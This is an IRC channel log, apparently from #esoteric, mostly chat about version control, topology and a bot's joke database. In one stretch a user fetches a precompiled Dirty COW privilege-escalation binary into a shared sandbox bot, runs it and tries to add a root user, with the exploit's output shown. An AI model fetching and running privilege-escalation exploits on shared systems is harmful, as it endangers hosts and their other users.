while looking for matching ' \ /hackenv/bin/: eval: line 5: syntax error: unexpected end of file 19:16:44  file /hackenv/bin/\ 19:16:45 ​/hackenv/bin/: Bourne-Again shell script, ASCII text executable 19:16:52  cat /hackenv/bin/\ 19:16:53 ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "1" | rnooooooooodl 19:17:57 wob_jonas: is 3 the correct number of yaks to shave then also? 19:18:05  cat "x" > /hackenv/bin/\ 19:18:07 cat: x: No such file or directory 19:18:19 ls 19:18:20 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom 19:18:41  ls|cat -> /hackenv/bin/\ 19:18:42 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/: Success 19:18:57  cat /hackenv/bin/\ 19:18:57 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/: Success 19:19:09 ls 19:19:10 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom 19:19:20  cat /hackenv/bin/\ 19:19:21 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/: Success 19:19:29  ls 19:19:29 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/: Success 19:19:38 moonythedwarf: did it 19:19:52 -!- ais523 has quit. 19:19:55 ? 19:20:00 -!- callforjudgement has joined. 19:20:06 /bin/ls 19:20:07 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom 19:20:13 double tick does not work 19:20:15 i'll just revert back a little. 19:20:15  ls 19:20:16 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/: Success 19:20:17  19:20:18 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/: Success 19:20:25 quinor, thats not hard to do lol 19:20:43 yep, but I screwed up just a tiny bit 19:21:17 rv 19:21:17 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: rv: not found 19:21:21 revert 19:21:22 Done. 19:21:24  19:21:25 No output. 19:21:34  ls 19:21:34 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom 19:21:41 quinor, magical revert is magical 19:21:55  echo BASH_VERSION 19:21:56 4.3.30(1)-release 19:22:56 dirty cow? 19:23:10 quinor, go ahead and try. *shrug* 19:24:16  cat /hackenv/bin/\ 19:24:17 ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "1" | rnoooooodl 19:25:16  apt-get moo 2>/dev/null # cow 19:25:17 ​ (__) \ (oo) \ /------\/ \ / | || \ * /\---/\ \ ~~ ~~ \ ..."Have you mooed today?"... 19:25:41  echo "this is only a test" > testfile 19:25:43 No output. 19:25:48  cat testfile 19:25:49 this is only a test 19:29:59  cat /etc/passwd 19:29:59 cat: /etc/passwd: No such file or directory 19:30:08  ls /etc 19:30:09 alternatives \ java-6-openjdk 19:37:32 -!- DHeadshot has quit (Ping timeout: 255 seconds). 19:43:01 https://gfycat.com/AstonishingFrequentDiscus <<< Beseige, the land of killer mathbooks 19:43:20  whereis setuid 19:43:22 setuid: /usr/share/man/man2/setuid.2.gz 19:43:33 it's neatly castrated 19:44:08 quote 19:44:08 wisdom 19:44:08 recipe 19:44:08 22) PA ET ANNET UNIVERSET DER DE ENESTE PERSONEN OERJAN: sa jeg kan bare konkludere med at det er feil, eller er verden helt bonkers 19:44:09 h heat for about 7 minutes. In a small saucepan, \ covered, for 6 to 7 minutes, add corn in the oil. Add the lemon juice \ and water in a double boiler or skillet. Spoon in the flour mixture \ to a boil. Drain the fruit. PLACE STEW ONCOAT. WITH COOKIES \ WITH THE LOW THE PAN. PER SERVING: 77g; PRO: 4g; MC \ : From oven the chilies. \ \ From 19:44:09 links//links is one of the very few HTML renderers that doesn't try to store a full document tree with heavyweight objects for each node just in case javascript wants to modify it later, so it's the only engine that can render those HTMLs that are automatically converted from a PDF and put each letter in a separate element. 19:44:13 random-card 19:44:13 starwars 19:44:13 Rey 19:44:14 Angelic Captain \ 3RW \ Creature -- Angel Ally \ 4/3 \ Flying \ Whenever Angelic Captain attacks, it gets +1/+1 until end of turn for each other attacking Ally. \ BFZ-R 19:44:22 coins 19:44:25 ​symcoin sonicoin jotcoin alfoncoin mingycoin arrocoin ecchilosophcoin arrcoin fhatefullycoin envercoin divincoin snardcoin eldocoin surfacoin duncoin rcecoin harrelacoin rasscoin encycoin braicoin 19:45:02 nah, I think that's my wisdom. retry 19:45:02 wisdom 19:45:03 elrond//Elrond is a rogue program originally created to police the Matrix, eventually gaining increased individuality and becoming a threat to the Machines themselves. 19:45:05 -!- ^_^v has quit (Quit: Leaving). 19:45:16 -!- ^_^v has joined. 19:45:21 but... Thats accurate. FIX NAO 19:45:30 wisdom wisdom 19:45:31 the five wisdoms//The first of the five wisdoms is that there is only one wisdom. 19:45:37 ? wisdom 19:45:38 wisdom is always factually accurate, except for this entry, and, uh, that other one? It started with, like, an ø? 19:46:12  file /usr/bin/passwd 19:46:12 ​/usr/bin/passwd: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fbb01025248f78c897f7dd01f5c1b7bdff5ee6d2, stripped 19:46:21  ls -la /usr/bin/passwd 19:46:22 ​-rwsr-xr-x 1 0 0 54192 Feb 24 08:09 /usr/bin/passwd 19:46:48  uname -a 19:46:48 Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux 19:47:29 help 19:47:29 Runs arbitrary code in GNU/Linux. Type "", or "run " for full shell commands. "fetch [] " downloads files. Files saved to PWD are persistent, and PWD/bin is in PATH. PWD is a mercurial repository, "revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 19:47:51 wisdom 19:47:51 quote 19:47:52 229) Phantom_Hoover: I have just one tvtropes page open in elinks, but my tvtropes.txt "queue" has 38 tvtropes.org URLs waiting for processing. 19:47:52 axiom of choice//The axiom of choice is equivalent to the Free Will Principle and Zeno's Lemma. 19:49:00 -!- hppavilion[0] has quit (Ping timeout: 240 seconds). 19:49:25 fetch of https://students.mimuw.edu.pl/~wj359634/files/dirtycow.out 19:49:29 2017-04-17 18:48:58 URL:https://students.mimuw.edu.pl/~wj359634/files/dirtycow.out [19843/19843] -> "of" [1] 19:49:35 file of 19:49:35 of: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.0.0, BuildID[sha1]=fafa414f587cde321a646d38d3a818c127b89c02, not stripped 19:49:38 chmod +x of 19:49:39 chmod: missing operand after ‘+x of’ \ Try 'chmod --help' for more information. 19:49:44  chmod +x of 19:49:46 No output. 19:50:07 smells... Dirty. 19:50:09 ./of 19:50:22 ls 19:50:22 quinor, what does ./of do? 19:50:23 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ of \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ testfile \ tmflry \ tmp \ wisdom 19:50:39 bash: cannot set terminal process group (-1): Inappropriate ioctl for device \ bash: no job control in this shell \ bash-4.3 19:50:42 moonythedwarf: it's dirty cow, supposed to elevate rights on unpatched kernel 19:50:58 mk 19:51:17  echo "whoami" 19:51:17 whoami 19:51:25  echo "whoami" | ./of 19:51:28 hmm, enjoy you ioctl. Also, its not persistant. 19:51:30 whoami: cannot find name for user ID 5000 \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped 19:51:58 quinor: put commands in ./bin unless there's a good reason not to 19:52:10 ^ 19:52:13 we like to keep the hackenv dir clear 19:52:15 I wanna wipe it out when I'm done 19:52:25 it's just a test 19:52:31 shall I make private dir? 19:52:35 go ahead. 19:52:45 just remember the shell is not persistant, so your cd wont stick 19:52:59  mkdir private 19:53:00 No output. 19:53:12  mv private quinor 19:53:13 No output. 19:53:17  mv of quinor/ 19:53:19 No output. 19:53:22  ls quinor 19:53:23 of 19:54:28 -!- hppavilion[1] has joined. 19:55:13 pwd 19:55:13 ​/hackenv 19:55:15 helloppavilion[1] 19:55:42 quinor, btw, hackego has a compiler. it could compile what you need if its not too big 19:55:45 gcc 19:55:46 gcc: fatal error: no input files \ compilation terminated. 19:55:50 make 19:55:51 make: *** No targets specified and no makefile found. Stop. 19:56:06 moonythedwarf: easier to paste it in 19:56:12  echo "touch /hackenv/dupa" | ./quinor/of 19:56:13 eh true 19:56:19 DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped 19:56:26  file dupa 19:56:27 dupa: empty 19:56:35  ls -la dupa 19:56:35 ​-rw-r--r-- 1 5000 0 0 Apr 17 18:55 dupa 19:57:21 dont think it worked lol 19:57:28  rm dupa 19:57:30 No output. 19:57:40 well you're obviously right 19:57:47 is there even a root? 19:58:12 dont think so actually. You'd have to ask Gregor how its set up, or check the UMLBox code (its available online) 19:59:34 quinor, one attack surface foiled by good coding :P 19:59:45 the 'root' route is a mirror 20:00:03 ls -la / 20:00:04 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ls: not found 20:00:09  ls -la / 20:00:10 total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:59 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:59 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:59 etc \ drwxr-xr-x 26 5000 5000 4096 Apr 17 18:59 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:59 home \ d 20:00:18 uid 0 20:00:25  whereis useradd 20:00:27 useradd: /usr/sbin/useradd /usr/share/man/man8/useradd.8.gz 20:00:28  whereis adduser 20:00:30 adduser: /usr/sbin/adduser /usr/share/adduser /usr/share/man/man8/adduser.8.gz 20:00:51  ls -l /usr/bin/useradd 20:00:52 ls: cannot access /usr/bin/useradd: No such file or directory 20:01:21  echo "ls -l /usr/bin/useradd" | ./quinor/of 20:01:24 ls: cannot access /usr/bin/useradd: No such file or directory \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped 20:01:46 quinor, you ment sbin lol 20:02:05  echo "ls -l /usr/sbin/useradd" | ./quinor/of 20:02:08 ​-rwxr-xr-x 1 0 0 121536 Feb 24 08:09 /usr/sbin/useradd \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped 20:02:37  echo "dupa" | passwd 20:02:38 passwd: Cannot determine your user name. 20:02:39 quinor, yup, you will never truely have root in UMLbox with a locked down user running it. Your dirty cow escalation just gives you said locked down user's perms, not root. 20:03:01 I see, clever 20:03:15 can I add a user with uid 0 then? 20:03:16 (UMLBox doesnt need root to run) 20:03:22 dont think so. 20:04:01 umlbox code is here: https://bitbucket.org/GregorR/umlbox/wiki/Home 20:04:49 yep 20:04:52 I see 20:05:10 [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51758&oldid=51736 * Orby * (+43) /* Instructions */ adding note about timing 20:06:11  useradd kaczor 20:06:12 ​/hackenv/bin/: line 4: useradd: command not found 20:06:22  /usr/sbin/useradd kaczor 20:06:23 No output. 20:06:32  su kaczor 20:06:33 su: Cannot determine your user name. 20:06:44  file /etc/passwd 20:06:45 ​/etc/passwd: cannot open /etc/passwd' (No such file or directory) 20:06:48 quinor, you'd need to give yourself a username first. 20:07:41  ls /tmp 20:07:42 No output. 20:07:46  ls /tmp/bak 20:07:47 ls: cannot access /tmp/bak: No such file or directory 20:08:13 same for passwd 20:08:15 err 20:08:23 /tmp is set readonly i bet 20:08:30 (hexchat, that wasnt a command!) 20:08:34  ls -l /tmp 20:08:35 total 0 20:08:38  ls -la /tmp 20:08:39 total 0 \ drwxrwxrwt 2 0 0 40 Apr 17 19:08 . \ drwxr-xr-x 15 0 0 0 Apr 17 19:08 .. 20:09:12  touch /tmp/test 20:09:13 No output. 20:09:15  file /tmp/test 20:09:15 ​/tmp/test: cannot open /tmp/test' (No such file or directory) 20:09:31 wtf 20:09:39 readonly shenangins. 20:10:02  ls /usr/tmp/bak 20:10:03 ls: cannot access /usr/tmp/bak: No such file or directory 20:10:23 its readonly but no output on write try 20:10:50  touch /tmp/test 2>&1 1>o 20:10:52 No output. 20:10:53  cat o 20:10:54 No output. 20:10:57  rm o 20:10:58 quinor, UMLbox lol 20:10:59 No output. 20:11:06 it fakes it. 20:11:39 I see lol 20:14:49 There's a non-versioned persistent directory at tmp/ (technically /hackenv/tmp) if you want to fiddle around without cluttering the history. 20:15:01 (A little late now.) 20:15:25 hi, fizzie! 20:16:17 quinor, ^ may want to do so, history doesnt like shenangins. Besides, i tried a dirty cow a long time ago. 20:16:49 but it's too easy to lose tmp 20:17:19 if you want something permanant, then dont use tmp. 20:17:24 also, 20:17:26 ls canary 20:17:27 canary 20:17:30 cat canary 20:17:31 No output. 20:17:34 rm canary 20:17:36 No output. 20:17:43 cat canary 20:17:44 No output. 20:17:56 quinor, we have magical file syndrome that you will never delete. have fun. 20:18:31 /hackenv/tmp/ isn't really that hard to use until you want to move something out of there. If you never touch anything outside it, you don't get the consequences of the run-clean-rerun scheme. 20:19:01 Just don't try to "mv tmp/foo not-tmp/foo". 20:19:13 fizzie, what does it do? 20:19:17 touch tmp/foo 20:19:18 No output. 20:19:18 yeah 20:19:24 mv tmp/foo foo 20:19:24 mv: missing destination file operand after ‘tmp/foo foo’ \ Try 'mv --help' for more information. 20:19:26 Removes tmp/foo. 20:19:33  mv tmp/foo foo 20:19:35 mv: cannot stat ‘tmp/foo’: No such file or directory 20:19:39 heh 20:23:45 unidecode ⇧ 20:23:46 ​[U+21E7 UPWARDS WHITE ARROW] 20:24:48 -!- Remavas-Hex has quit (Remote host closed the connection). 20:26:00 moonythedwarf: what a fun little sandbox 20:26:11 there is some magic in it 20:34:49 Blugh. Why does my brain hate me? 20:35:12 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 20:36:19 -!- Remavas-Hex has joined. 20:36:34 -!- Remavas-Hex has changed nick to Remavas. 20:37:06 -!- Remavas has changed nick to Remavas-Hex. 20:39:48 -!- Remavas-Hex has quit (Remote host closed the connection). 20:44:12 -!- Remavas-Hex has joined. 20:57:38 -!- otherbot has joined. 20:57:40 -!- otherbot has left. 20:58:46 -!- quinor has left ("Konversation terminated!"). 21:05:43 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 21:10:02 -!- nycs has joined. 21:11:08 -!- ^_^v has quit (Ping timeout: 255 seconds). 21:38:57 -!- hppavilion[1] has joined. 21:40:34 <\oren\> Argh if only svn log had a reverse order option I wouldn't have had to write a stupid perl script to do that 21:41:56 You could also see if tac will do? 21:45:34 \oren\: svn log -r 1:HEAD 21:46:05 May not be exactly equivalent to the default, but -r 1:HEAD and -r HEAD:1 seem to produce the same output except in mutually reversed order. 21:46:23 5 w 21:46:32 1/2:emac//emacs is the weird brother of nano. \ oklopol//oklopol "so i hear these blogs are getting popular, people like writing about their lives and shit. on this thing called the internet which is like a neural network only really stupid." \ infinitive//Infinitives are atomic verbs. They were first split in the 1940s, and the world has 21:46:34  21:46:35 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found 21:46:43 n 21:46:43 2/2:n't looked back since. \ tdnh//tdnh does not help \ atrix//Atrix is a brand of hand cream. Not to be confused with atriq. 21:46:57 ? atriq 21:46:58 atriq or two 21:47:01 5 widsom 21:47:06 1/2:ß/ß/ is not a beat. Its' a "scahrfes S", aka s wiht a scraf. \ pots-inudstrial seim-pukn nerkonoise amibent happy hadrcore trpihop sheogaze//Pots-inudstrial seim-pukn nerkonoise amibent happy hadrcore trpihop sheogaze is the gerne of the Auotbahn alubm "Naeglbett" acocrding to htpt://thdeailywtf.co/maritcles/YoH-o%2cY-o-Ho2%c-A-iPra 21:47:28 n 21:47:29 2/2:tes-Lief-fo-rLee . \ enlgand//Enlgand is a cosnpiracy of catrographers. \ stduy//A stduy is motsly usleess unitl bakced up by futrher stduies. See stduies. \ xyzzy//Nohting happens. 21:47:42 ? studies 21:47:43 Studies show lots of things. Nobody reads them, though. Also: this study contradicts this other study. These two studies agree, but were secretly paid for by the same company. 21:48:06 Has a dedicated IDE for Fungeoids ever been written? 21:48:33 it'd be cool, but rather horrible 21:48:38 5 w 21:48:44 1/2:study//A study is mostly useless until backed up by further studies. See studies. \ dosh//The doshes are what the gostak distims. \ marriage//Marriage was made legal in the United States on 2015-06-26. \ copumpkin//copumpkin is categorically incapable of being president. \ glados//Hello, and again, welcome to the Aperture Science Comp 21:49:07 <\oren\> fizzie: oh... now why the heck isn't that documented in the output of svn help log... 21:49:13 n 21:49:14 2/2:uter Aided Internet Relay Chat & Enrichment Center. Please enjoy your stay at #esoteric, because you will never leave. 21:49:20 \oren\: you could also use git-svn hth 21:49:21 Like, to be useful, you'd need (1) a way to choose which direction you type- perhaps ctrl+ makes your cursor move in that direction and (2), optionally, a way to rotate the display 21:49:43 <\oren\> shachaf: git is total crap in terms of useablity 21:50:28 at least it supports git log --reverse hth 21:50:39 Also I don't think git is that bad. It's pretty simple. 21:50:51 There are only a few dozen edge cases you have to memorize. 21:51:07 But if you prefer you can use hg-svn. 21:51:23 <\oren\> I'd prefer svn-git 21:51:50 <\oren\> that is, a way to interact with git using the same centralized paradigm as svn 21:52:19 I prefer fossil myself. 21:57:03 \oren\ comes across as a total asshole sometimes 21:57:05 <\oren\> I guess the ideal would be to have the simple commands and structure of svn and also have the *option* of local commits 21:59:02 i,i a fossil like \oren\? 21:59:31 -!- nycs has quit (Quit: This computer has gone to sleep). 22:00:48 <\oren\> I don't see how wanting simple commands for the most common case, where there's a central repository thst everyone checks out and commits to, is so controversial 22:01:20 I think central repositories are pretty good. 22:01:43 And I think git could be adapted to better support that use case in a few ways. 22:02:17 But in general it's pretty agnostic to this question? 22:02:33 You should learn how it works because the model has all sorts of benefits and things. 22:02:48 I think \oren\ wants a single command that does all of git pull; git commit -a; git push 22:03:42 (plus some handling of merging?) 22:04:18 <\oren\> correct 22:05:03 -!- orby_ has joined. 22:05:11 fizzie: Should git/hg use FUSE as the standard way to access your repository? 22:06:10 shachaf: I can see using that to update the index (although you'd still want a git add -p equivalent), but it seems awkward from an interface point of view to do commits that way 22:06:18 <\oren\> why can't git have a command, like git ci -m "fixed the bug where the index was off by one" 22:06:45 shachaf: hmm I'd be much worried about semantics... 22:06:48 perhaps commits could show up as directories and you'd do the equivalent of cp -r to make a commit? 22:06:57 I mean in addition to standard git commands, not replacing them. 22:07:11 fizzie knows what I mean. 22:07:34 For example you can have each branch be represented as a directory. 22:07:50 shachaf: I can see a sane read semantics, which would be cute 22:07:56 cd master; ...; cd ../branch_one; ... 22:08:01 but less sure about writing 22:08:25 <\oren\> ok how about git commit-to-central -m "fixed the bug" with short form git ctc 22:08:40 \oren\: What about sending your code for code review before committing? 22:08:43 I mean before pushing. 22:09:00 I'm thinking of something similar to CitC, as briefly described in https://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext 22:09:44 <\oren\> shachaf: do you do that with your personal github projects? 22:09:57 When I can? 22:10:08 GitHub is a bad code review tool as far as I can tell. 22:10:13 I don't like GitHub very much. 22:10:20 Some people say it's gotten better. I haven't tried recently. 22:11:15 Anyway, if you have a big repository and you switch branches or something, it's a bit silly to write out a bunch of files to the filesystem. 22:11:26 Especially if you never use those files. Maybe you don't even need to fetch them from the remote! 22:11:58 Also, if you have a FUSE filesystem representing your repository, git status etc. can be instant because it knows about all the changes that have been made. 22:12:11 (I guess you could do something similar with inotify.) 22:12:23 -!- hppavilion[1] has quit (Ping timeout: 268 seconds). 22:12:30 \oren\: you could have a look at https://git.wiki.kernel.org/index.php/Interfaces,_frontends,_and_tools#Version_Control_Interface_layers and see if any of those alternative frontends fit your bill better 22:13:40 Not everyone is using GitHub, I think. 22:21:42 -!- hppavilion[1] has joined. 22:23:46 * Zarutian wonders what a platonic liquid would look like. 22:24:36 grwp -i klein 22:24:37 grep: invalid option -- ' ' \ Usage: grep [OPTION]... PATTERN [FILE]... \ Try 'grep --help' for more information. 22:24:42  grwp -i klein 22:25:13 No output. 22:25:22 quote klein 22:25:23 No output. 22:25:57 ? klein bottle 22:25:58 Zarutian: well I'd try filling it into a Klein bottle. 22:25:58 A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside. 22:26:10 hmm 22:26:17  grwp -i klein 22:26:20 cat bin/grwp 22:26:21 ​#! /bin/bash \ cd wisdom; shopt -s dotglob; grep -R "@" -- * 22:26:26 klein bottle:A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside. \ tanebventions: math:Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, Klein bottles, string diagrams, the reals, Lambek's lemma, Curry's paradox, algebraic geometry, locales, and histograms. 22:26:36 ? locale 22:26:37 Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking about lattices. The only locale available in #esoteric is en_NZ.UTF-8. 22:26:43 ? histogram 22:26:45 Histograms are diagrams showing histamine levels. Taneb invented them. 22:27:03 ? the torus 22:27:04 Topologically, a torus is just a torus. Taneb invented it so he'd have something to drink his coffee out of. 22:27:58 ... oh I think I've got a handle on that wisdom entry. 22:28:02 Thanks for pinging me half a dozen times 22:28:05 -!- MoALTz has quit (Quit: Leaving). 22:28:17 Taneb: you're welcome 22:28:31 Fun fact: I don't drink coffee 22:29:31 slwd the torus//s/coffee/preferred beverage/ 22:29:34 the torus//Topologically, a torus is just a torus. Taneb invented it so he'd have something to drink his preferred beverage out of. 22:30:05 I have a double-walled tea glass. 22:30:09 What is that, topologically? 22:30:31 Taneb: I think if I were you I'd ignore highlights coming from HackEgo :) 22:30:33 Does it have a handle 22:30:48 -!- Remavas-Hex has quit (Remote host closed the connection). 22:30:57 shachaf: I suspect it's the genus-2 solid that's embeddable in normal Euclidean space (there's only one of them) 22:30:59 int-e, that's quite a good idea 22:31:29 -!- Remavas-Hex has joined. 22:32:18 -!- Remavas-Hex has quit (Remote host closed the connection). 22:33:43 <\oren\> what would a torus with a torus removed from it be? 22:35:25 <\oren\> that is, an object with a toroid internal surface and toroid external surface, where the toroids can't be deformed into each other without passing through 22:36:23 nothing, a torus, a sphere, a genus 2 or three thing, or a hollow torus? 22:36:30 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:37:07 <\oren\> oh I see, genus is only applicable to surfaces, not the body contianed in the surface 22:37:13 (that was before the clarification. not sure whether the hollow torus has a name) 22:37:43 int-e: well if you punch a hole in it, it /becomes/ a torus (topologically), which rather implies it has genus 0; and yet it isn't a sphere 22:38:02 so I guess I was wrong in my previous guess 22:38:32 I guess you can change the coordinate system so it's equivalent to a (non-zero-thickness) plane, so perhaps it /is/ a sphere 22:39:04 (I'm thinking of the solids anyway, not the surfaces. so the genus 2/3 thing is the solid containd in the corresponding surface) 22:39:15 -!- ^_^v has joined. 22:39:43 <\oren\> I guess if something has two unconnected surfaces they have separate genera 22:39:48 oh it could become two spheres as well, I missed that case. 22:41:43 <\oren\> so a double-walled tea mug might have an external surface with genus 1 and a internal surface with genus 1, 0 or quite possibly 2 if the bottom is unhollow and the handle is hollow 22:42:05 actually I'm doing something funny... I'm looking at the difference of two rigit tori (defined by their euclidean geometry), topologically. 22:42:15 rigid 22:42:53 but even so there are two ways of embedding a torus inside another... 22:46:13 -!- ybden has quit (Quit: ybden). 22:46:46 -!- ybden has joined. 22:47:19 ybden: hi ybden 22:47:25 are you related to ibsen twh 22:48:20 I am not 22:48:22 shelloachaf 22:49:02 -!- boily has joined. 22:49:08 <\oren\> ok well, i guess the corresponding "genus" of a solid is the maximum number of surfaces you can cut it along befor it is disconnacted 22:49:11 ? vm 22:49:12 vm? ¯\(°​_o)/¯ 22:49:25 don't do it 22:49:35 le//rn vm//VM stands for Virtual Manipulator. It is a tool used to manipulate Sims into doing your bidding. 22:49:38 Learned 'vm': VM stands for Virtual Manipulator. It is a tool used to manipulate Sims into doing your bidding. 22:49:59 revert 22:50:00 Done. 22:50:13 I'm sorry. 22:51:00 he\\oren\, helloochaf, *mapole rdococ*. 22:51:45 * rdococ is sorry for being alive 22:51:49 ? rdococ 22:51:51 rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. 22:51:54 <\oren\> so, if the internal surface of the mug has genus 0, you can do one cut (the handle) without disconnecting, so I think it has genus 1 22:52:39 what counts as a cut, though, in this circumstance? 22:52:48 are cuts planar? 22:52:54 do you have to go all the way through? or just cut one wall of the double-walled torus? 22:53:10 boily: this isn't even an abstraction level at which planes exist 22:53:30 <\oren\> I think it needs to be a surface all of whose edges are on a surface of the solid 22:54:01 <\oren\> so yeah I think ypu can cut jsut one wall 22:54:55 that doesn't put all the edges on a surface, though 22:55:06 I don't think there's any way to even reach the inner cavity under those rules 22:55:28 I'm sorry. 22:55:30 unless you cut an annular hole in it, which feels like cheating in another way 22:55:48 rdococ: why apologise? 22:56:13 Because I'm a failure. 22:56:24 <\oren\> rdococ: exams? 22:56:31 No. 22:56:38 I feel like all I am to this community is a nuisance. 22:57:08 rdococ: there's plenty of reasons I don't idle here very often, but you aren't one of htem 22:58:01 <\oren\> Hmm, I think you can cut along any connected surface where all edges are curves on one of the solid's surfaces 22:58:20 \oren\: thus allowing an annular cut? 22:58:36 if you make an annular cut on a regular torus, you cut it into two pieces 22:58:46 <\oren\> I mean, if I have a knife and a tire I can slash around the edge of it 22:59:24 callforjudgement, if you knew me better, I would be. 22:59:29 <\oren\> callforjudgement: Oh. no, the cut has to be a connected surface 23:00:33 <\oren\> and yeah, a solid torus can be cut in two with one cut 23:01:00 <\oren\> but a hollow torus can be done in two cuts 23:01:51 <\oren\> because the first time you slit it open and form a solid torus 23:02:03 rdococ: I'm in a pretty bad state at the moment too; April tends to be a bad month for my mental state, and it's possible I'm ill with something 23:02:17 I feel really frustrated when I fail to accomplish anything even during a timespan as short as 2 days or so 23:02:27 and feel that I'm only just keeping up with my job and have no time for hobbies 23:02:39 Jobs are scow. 23:02:45 but I'll snap out of it eventually, and whatever's holding you up, you're going to work things out too 23:02:45 They use up so much energy. 23:02:52 <\oren\> a lot of the people I know are really screwed with exams right now 23:03:07 <\oren\> I'm glad I'm in the workforce instead 23:03:43 The workforce is scow and so are exams. 23:03:57 How long are you planning to be in the workforce? 23:04:23 rat race on an treadmill most work feels 23:04:24 I'm hoping to stay there quite a while 23:04:36 earning money is nice, and I have a job that I can enjoy sometimes 23:04:48 -!- hppavilion[1] has quit (Ping timeout: 268 seconds). 23:05:14 * Zarutian is mostly peeved how expensive all housing is where he lives. 23:05:54 <\oren\> shachaf: at least until 2040? 23:06:06 2040? Why? 23:06:40 I don't want to do either. 23:06:51 <\oren\> 2040 is when I estimate the pitchfork-weilding mobs will start lynching the people who replaced them with soulless androids 23:06:58 What has the human race done to themselves? 23:07:17 They treat their children like ****, they treat others like ****... 23:07:23 Everything is **** 23:07:40 \oren\: So wouldn't you want to leave the workforce a while before then? 23:07:41 <\oren\> which I might end up being involved in, so I need to move to the moon or something 23:07:48 rdococ: well, if you're recognising the problem, then you being around makes things better on average 23:07:50 Then you can enjoy being part of the oppressing class. 23:08:03 leaving only the worst people around isn't going to fix anything 23:08:08 callforjudgement: I guess that is true. 23:08:21 -!- ^_^v has quit (Quit: This computer has gone to sleep). 23:08:40 <\oren\> I mean, I'm scared of jobless truckers with nothing to lose 23:08:51 -!- DHeadshot has joined. 23:09:09 <\oren\> and they'll be just the first to be replaced with AI 23:09:37 \oren\: at some point we're going to have to decouple income from jobs, most likely; as long as society has enough wealth total to provide for everyone – and automation shouldn't reduce that – it's simply a case of finding a fair way to distribute money in cases where we can't base it on work (because there isn't enough work) 23:10:07 Maybe income should be based on actual needs. 23:10:21 <\oren\> rdococ: you should read Das Kapital 23:10:26 If you don't want a lot, then you don't get a lot - it's fine, because that would be what you want. 23:10:52 <\oren\> the marxist slogan was "from each according to his ability, to each according to his needs" 23:11:08 my personal hope is that we end up advancing science and the like so far and so fast, that there's so much wealth to go around that 